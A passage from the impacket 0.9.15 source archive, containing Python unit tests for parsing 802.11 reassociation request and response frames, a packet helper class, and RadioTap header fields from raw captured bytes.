self.rawframe="\x00\x00\x1c\x00\xef\x18\x00\x00\x9aK\x87\xae;\x00\x00\x00\x10\x02\x85\t\xa0\x00\xb5\x9d`\x00\x00\x18 \x00:\x01\x00\x18\xf8lvBp\x1a\x04T\xe3\x86\x00\x18\xf8lvB\x00\x081\x04\n\x00\x00\x18\xf8lvB\x00\x05ddwrt\x01\x08\x82\x84\x8b\x96$0Hl!\x02\n\x11$\x02\x01\x0e0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x002\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x00\x10\x00\x00\x00p\x97\x1cA"
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_REQUEST)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_reassociation_request=self.management_base.child()
self.assertEqual(str(self.management_reassociation_request.__class__), "dot11.Dot11ManagementReassociationRequest")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_reassociation_request.get_header_size(), 74)
self.assertEqual(self.management_reassociation_request.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x013a)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x0800)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 128)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="1\x04\n\x00\x00\x18\xf8lvB\x00\x05ddwrt\x01\x08\x82\x84\x8b\x96$0Hl!\x02\n\x11$\x02\x01\x0e0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x002\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x00\x10\x00\x00\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Reassociation Request Capabilities field'
self.assertEqual(self.management_reassociation_request.get_capabilities(), 0x0431)
self.management_reassociation_request.set_capabilities(0x4321)
self.assertEqual(self.management_reassociation_request.get_capabilities(), 0x4321)
def test_11(self):
'Test Management Reassociation Request Listen Interval field'
self.assertEqual(self.management_reassociation_request.get_listen_interval(), 0x000a)
self.management_reassociation_request.set_listen_interval(0x4321)
self.assertEqual(self.management_reassociation_request.get_listen_interval(), 0x4321)
def test_12(self):
'Test Management Reassociation Request Current AP field'
addr = self.management_reassociation_request.get_current_ap()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_reassociation_request.set_current_ap(addr)
self.assertEqual(self.management_reassociation_request.get_current_ap().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_13(self):
'Test Management Reassociation Request Ssid getter/setter methods'
act_ssid="ddwrt"
new_ssid="holala"
self.assertEqual(self.management_reassociation_request.get_ssid(), act_ssid)
self.management_reassociation_request.set_ssid(new_ssid)
self.assertEqual(self.management_reassociation_request.get_ssid(), new_ssid)
self.assertEqual(self.management_reassociation_request.get_header_size(), 74+1)
def test_14(self):
'Test Management Ressociation Request Supported_rates getter/setter methods'
self.assertEqual(self.management_reassociation_request.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))
self.assertEqual(self.management_reassociation_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))
self.management_reassociation_request.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
self.assertEqual(self.management_reassociation_request.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
self.assertEqual(self.management_reassociation_request.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))
self.assertEqual(self.management_reassociation_request.get_header_size(), 74-2)
def test_15(self):
'Test Management Association Request RSN getter/setter methods'
self.assertEqual(self.management_reassociation_request.get_rsn(), "\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x00")
self.management_reassociation_request.set_rsn("\xff\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\xff")
self.assertEqual(self.management_reassociation_request.get_rsn(), "\xff\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\xff")
self.assertEqual(self.management_reassociation_request.get_header_size(), 74)
def test_16(self):
'Test Management Vendor Specific getter/setter methods'
self.assertEqual(self.management_reassociation_request.get_vendor_specific(), [("\x00\x10\x18","\x02\x00\x10\x00\x00\x00")])
self.management_reassociation_request.add_vendor_specific("\x00\x00\x40", "\x04\x04\x04\x04\x04\x04")
self.assertEqual(self.management_reassociation_request.get_vendor_specific(),
[("\x00\x10\x18", "\x02\x00\x10\x00\x00\x00"),
("\x00\x00\x40", "\x04\x04\x04\x04\x04\x04"),
])
self.assertEqual(self.management_reassociation_request.get_header_size(), 74+11)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementReassociationRequestFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementReassociationResponse.py 0000600 0000765 0000000 00000016563 12734531507 031112 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame, Dot11ManagementReassociationResponse
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementReassociationResponseFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawframe="\x00\x00\x1c\x00\xef\x18\x00\x00\xc0\xbb\xbc\xae;\x00\x00\x00\x10\x02\x85\t\xa0\x00\xba\x9ca\x00\x00\x1e0\x08:\x01p\x1a\x04T\xe3\x86\x00\x18\xf8lvB\x00\x18\xf8lvB\xe0g\x11\x04\x00\x00\x04\xc0\x01\x08\x82\x84\x8b\x96$0Hl2\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x02\xf0\x00\x00\x00\xb3\xff\n\\"
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype, Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_RESPONSE)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_reassociation_response=self.management_base.child()
self.assertEqual(str(self.management_reassociation_response.__class__), "dot11.Dot11ManagementReassociationResponse")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_reassociation_response.get_header_size(), 33)
self.assertEqual(self.management_reassociation_response.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x013a)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0x70,0x1a,0x04,0x54,0xe3,0x86])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x1a,0x04,0x54,0xe3,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x67e0)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 1662)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="\x11\x04\x00\x00\x04\xc0\x01\x08\x82\x84\x8b\x96$0Hl2\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x02\xf0\x00\x00\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Reassociation Response Capabilities field'
self.assertEqual(self.management_reassociation_response.get_capabilities(), 0x0411)
self.management_reassociation_response.set_capabilities(0x4321)
self.assertEqual(self.management_reassociation_response.get_capabilities(), 0x4321)
def test_11(self):
'Test Management Reassociation Response Status Code field'
self.assertEqual(self.management_reassociation_response.get_status_code(), 0x0000)
self.management_reassociation_response.set_status_code(0x4321)
self.assertEqual(self.management_reassociation_response.get_status_code(), 0x4321)
def test_12(self):
'Test Management Reassociation Response Association ID field'
self.assertEqual(self.management_reassociation_response.get_association_id(), 0xc004)
self.management_reassociation_response.set_association_id(0x4321)
self.assertEqual(self.management_reassociation_response.get_association_id(), 0x4321)
def test_13(self):
'Test Management Reassociation Response Supported_rates getter/setter methods'
self.assertEqual(self.management_reassociation_response.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))
self.assertEqual(self.management_reassociation_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))
self.management_reassociation_response.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
self.assertEqual(self.management_reassociation_response.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
self.assertEqual(self.management_reassociation_response.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))
self.assertEqual(self.management_reassociation_response.get_header_size(), 33-2)
def test_14(self):
'Test Management Vendor Specific getter/setter methods'
self.assertEqual(self.management_reassociation_response.get_vendor_specific(), [("\x00\x10\x18","\x02\x02\xf0\x00\x00\x00")])
self.management_reassociation_response.add_vendor_specific("\x00\x00\x40", "\x04\x04\x04\x04\x04\x04")
self.assertEqual(self.management_reassociation_response.get_vendor_specific(),
[("\x00\x10\x18", "\x02\x02\xf0\x00\x00\x00"),
("\x00\x00\x40", "\x04\x04\x04\x04\x04\x04"),
])
self.assertEqual(self.management_reassociation_response.get_header_size(), 33+11)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementReassociationResponseFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_helper.py 0000600 0000765 0000000 00000003135 12734531507 023066 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# Copyright (c) 2003-2013 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# $Id$
#
# Description:
# Tests for helper used to build ProtocolPackets
#
# Author:
# Aureliano Calvo
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../../..")
import unittest
import impacket.helper as h
class TestHelpers(unittest.TestCase):
def test_well_formed(self):
class MockPacket(h.ProtocolPacket):
byte_field = h.Byte(0)
word_field = h.Word(1, ">")
three_bytes_field = h.ThreeBytesBigEndian(3)
long_field = h.Long(6, ">")
aliased_bit_field = h.Bit(0,0)
header_size = 4
tail_size = 0
p = MockPacket()
p.byte_field = 1
p.word_field = 2
p.three_bytes_field = 4
p.long_field = 8
self.assertEqual(1, p.byte_field)
self.assertEqual(2, p.word_field)
self.assertEqual(4, p.three_bytes_field)
self.assertEqual(8, p.long_field)
self.assertEqual(True, p.aliased_bit_field)
p.aliased_bit_field = False
self.assertEqual(0, p.byte_field)
self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing.
suite = unittest.TestLoader().loadTestsFromTestCase(TestHelpers)
unittest.TextTestRunner(verbosity=2).run(suite) impacket-0.9.15/impacket/testcases/dot11/test_RadioTap.py 0000600 0000765 0000000 00000072067 12734531507 023324 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
import unittest
sys.path.insert(0, "../..")
from dot11 import RadioTap
from ImpactPacket import Data
class TestRadioTap(unittest.TestCase):
def setUp(self):
# RadioTap + 802.11 Data Frame + LLC SNAP + ARP Reply
self.frame_0 = str()
self.frame_0 += '\x00' # Header Revision
self.frame_0 += '\x00' # Header Pad
self.frame_0 += '\x18\x00' # Header Length
self.frame_0 += '\x0e\x58\x00\x00' # Present Flags (flags, rate, channel, antenna, db antenna signal, rx flags)
self.frame_0 += '\x10' # Flags (FCS at end)
self.frame_0 += '\x6c' # Data Rate
self.frame_0 += '\x6c\x09' # Channel Frequency
self.frame_0 += '\x80\x04' # Channel Type
self.frame_0 += '\x00' # Antenna
self.frame_0 += '\x1e' # SSI Signal
self.frame_0 += '\x00\x00' # RX Flags
self.frame_0 += '\x00\x00\x00\x00\x00\x00\x08\x02\x2c\x00\x00\x1f\xe1\x19\xe4\xe4\x00\x1b\x9e\xce\x54\x09\x00' \
'\x1b\x9e\xce\x54\x09\xe0\xac\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02' \
'\x00\x1b\x9e\xce\x54\x09\xc0\xa8\x01\x01\x00\x1f\xe1\x19\xe4\xe4\xc0\xa8\x01\x70\x01\x70\xe0' \
'\x00\x00\xfb\x94\x04\x00\x00\x16\x00\x00\x00\xe0\x00\x00\xfb\x17\x5c\xa6\xca'
self.rt0 = RadioTap(self.frame_0)
# RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request
self.frame_1 = str()
self.frame_1 += '\x00' # Header Revision
self.frame_1 += '\x00' # Header Pad
self.frame_1 += '\x20\x00' # Header Length
# Present Flags (tsft, flags, rate, dbm antenna signal, dbm antenna noise, antenna, channel+)
self.frame_1 += '\x67\x08\x04\x00'
self.frame_1 += '\x30\x03\x1a\x25\x00\x00\x00\x00' # TSFT
self.frame_1 += '\x22' # Flags (Data pad, preamble short)
self.frame_1 += '\x0c' # Data Rate
self.frame_1 += '\xd9' # SSI Signal
self.frame_1 += '\xa0' # SSI Noise
self.frame_1 += '\x02' # Antenna
self.frame_1 += '\x00\x00\x00' # ???
self.frame_1 += '\x40\x01\x00\x00' # Channel Type
self.frame_1 += '\x3c\x14' # Channel Frequency
self.frame_1 += '\x24' # Channel Number
self.frame_1 += '\x11' # ???
self.frame_1 += '\x08\x02\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x00\x19\xe3\xd3\x53\x52' \
'\x90\x7f\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x19\xe3\xd3' \
'\x53\x52\xa9\xfe\xf7\x00\x00\x00\x00\x00\x00\x00\x43\x08\x0e\x36'
self.rt1 = RadioTap(self.frame_1)
# RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request
self.frame_2 = str()
self.frame_2 += '\x00' # Header Revision
self.frame_2 += '\x00' # Header Pad
self.frame_2 += '\x24\x00' # Header Length
# Present Flags (tsft, flags, rate, channel, dbm antenna signal, rx flags, ns next, ext)
self.frame_2 += '\x2f\x40\x00\xa0'
self.frame_2 += '\x20\x08\x00\x00' # Present Flags (dbm antenna signal, antenna)
self.frame_2 += '\x00\x00\x00\x00' # ???
self.frame_2 += '\x97\xd3\x26\x44\x06\x00\x00\x00' # TSFT
self.frame_2 += '\x10' # Flags
self.frame_2 += '\x02' # Data Rate
self.frame_2 += '\x6c\x09' # Channel Frequency
self.frame_2 += '\xc0\x00' # Channel Type
self.frame_2 += '\xa6' # SSI Signal
self.frame_2 += '\x00' # ???
self.frame_2 += '\x00\x00' # RX flags
self.frame_2 += '\xa6' # SSI Signal
self.frame_2 += '\x00' # ???
self.frame_2 += '\xd4\x00\x00\x00\x9c\x04\xeb\x4d\xdb\x53\x8d\xf3\xc6\xc3'
self.rt2 = RadioTap(self.frame_2)
# RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request
self.frame_3 = str()
self.frame_3 += '\x00' # Header Revision
self.frame_3 += '\x00' # Header Pad
self.frame_3 += '\x24\x00' # Header Length
# Present Flags (tsft, flags, rate, channel, dbm antenna signal, rx flags, ns next, ext)
self.frame_3 += '\x2f\x40\x00\xa0'
self.frame_3 += '\x20\x08\x00\x80' # Present Flags (dbm antenna signal, antenna)
self.frame_3 += '\x00\x00\x00\x00' # Present Flags
# self.frame_3 += '\x00\x00\x00\x00' # ???
self.frame_3 += '\x97\xd3\x26\x44\x06\x00\x00\x00' # TSFT
self.frame_3 += '\x10' # Flags
self.frame_3 += '\x02' # Data Rate
self.frame_3 += '\x6c\x09' # Channel Frequency
self.frame_3 += '\xc0\x00' # Channel Type
self.frame_3 += '\xa6' # SSI Signal
self.frame_3 += '\x00' # ???
self.frame_3 += '\x00\x00' # RX flags
self.frame_3 += '\xa6' # SSI Signal
self.frame_3 += '\x00' # ???
self.frame_3 += '\xd4\x00\x00\x00\x9c\x04\xeb\x4d\xdb\x53\x8d\xf3\xc6\xc3'
self.rt3 = RadioTap(self.frame_3)
def test_01_sizes(self):
"""Test RadioTap frame sizes"""
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_body_size(), len(self.frame_0)-24)
self.assertEqual(self.rt0.get_tail_size(), 0)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_body_size(), len(self.frame_1)-32)
self.assertEqual(self.rt1.get_tail_size(), 0)
def test_02_version(self):
"""Test RadioTap version getter/setter"""
self.assertEqual(self.rt0.get_version(), 0x00)
self.rt0.set_version(1)
self.assertEqual(self.rt0.get_version(), 0x01)
self.assertEqual(self.rt1.get_version(), 0x00)
self.rt1.set_version(1)
self.assertEqual(self.rt1.get_version(), 0x01)
def test_03_present(self):
"""Test RadioTap present getter"""
self.assertEqual(self.rt0.get_present(), 0x0000580e)
self.assertEqual(self.rt1.get_present(), 0x00040867)
def test_04_present_bits(self):
"""Test RadioTap present bits tester"""
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TSFT), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), True)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_RATE), True)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_CHANNEL), True)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FHSS), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_ANTSIGNAL), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_ANTNOISE), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_LOCK_QUALITY), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TX_ATTENUATION), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_TX_ATTENUATION), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_TX_POWER), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_ANTENNA), True)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_ANTSIGNAL), True)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_ANTNOISE), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FCS_IN_HEADER), True)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TX_FLAGS), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_RTS_RETRIES), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DATA_RETRIES), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_XCHANNEL), False)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_EXT), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), True)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FLAGS), True)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_RATE), True)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_CHANNEL), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FHSS), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_ANTSIGNAL), True)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_ANTNOISE), True)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_LOCK_QUALITY), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TX_ATTENUATION), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_TX_ATTENUATION), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_TX_POWER), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_ANTENNA), True)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_ANTSIGNAL), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_ANTNOISE), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FCS_IN_HEADER), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TX_FLAGS), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_RTS_RETRIES), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DATA_RETRIES), False)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_XCHANNEL), True)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_EXT), False)
def test_05_tsft(self):
"""Test RadioTap tstf getter"""
self.assertEqual(self.rt0.get_tsft(), None)
self.assertEqual(self.rt1.get_tsft(), 622461744)
def test_06_tsft(self):
"""Test RadioTap tstf getter/setter"""
# When the field is new
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.rt0.set_tsft(0x0102030405060708)
self.assertEqual(self.rt0.get_tsft(), 0x0102030405060708)
self.assertEqual(self.rt0.get_header_size(), 24+8)
# When exist the field
self.rt0.set_tsft(0x0807060504030201)
self.assertEqual(self.rt0.get_tsft(), 0x0807060504030201)
self.assertEqual(self.rt0.get_header_size(), 24+8)
def test_07_unset_fields(self):
"""Test RadioTap unset field"""
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), True)
self.rt0.unset_field(RadioTap.RTF_FLAGS)
self.assertEqual(self.rt0.get_size(), len(self.frame_0)-1)
self.assertEqual(self.rt0.get_header_size(), 24-1)
self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), False)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), True)
self.rt1.unset_field(RadioTap.RTF_TSFT)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)-8)
self.assertEqual(self.rt1.get_header_size(), 32-8)
self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), False)
def test_08_flags_field(self):
"""Test RadioTap flags getter/setter"""
# When exist the field
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_flags(), 0x10)
self.rt0.set_flags(0xAB)
self.assertEqual(self.rt0.get_flags(), 0xAB)
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_flags(), 0x22)
self.rt1.set_flags(0xAB)
self.assertEqual(self.rt1.get_flags(), 0xAB)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
# TODO: Test the size when the field is new
def test_09_rate_field(self):
"""Test RadioTap rate getter/setter"""
# When exist the field
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_rate(), 0x6c)
self.rt0.set_rate(0xAB)
self.assertEqual(self.rt0.get_rate(), 0xAB)
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_rate(), 0x0c)
self.rt1.set_rate(0xAB)
self.assertEqual(self.rt1.get_rate(), 0xAB)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
# TODO: Test the size when the field is new
def test_10_channel_field(self):
"""Test RadioTap channel getter/setter"""
# When exist the field
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_channel(), (2412, 0x0480))
self.rt0.set_channel(freq=1234, flags=0x5678)
self.assertEqual(self.rt0.get_channel(), (1234, 0x5678))
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_channel(), None)
self.rt1.set_channel(freq=1234, flags=0x5678)
self.assertEqual(self.rt1.get_channel(), (1234, 0x5678))
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+4)
self.assertEqual(self.rt1.get_header_size(), 32+4)
def test_11_fhss_field(self):
"""Test RadioTap FHSS getter/setter"""
# TODO: When exist the field
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_FHSS(), None)
self.rt1.set_FHSS(hop_set=0xAB, hop_pattern=0xCD)
self.assertEqual(self.rt1.get_FHSS(), (0xAB, 0xCD))
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
self.assertEqual(self.rt1.get_header_size(), 32+2)
def test_12_dbm_ant_signal_field(self):
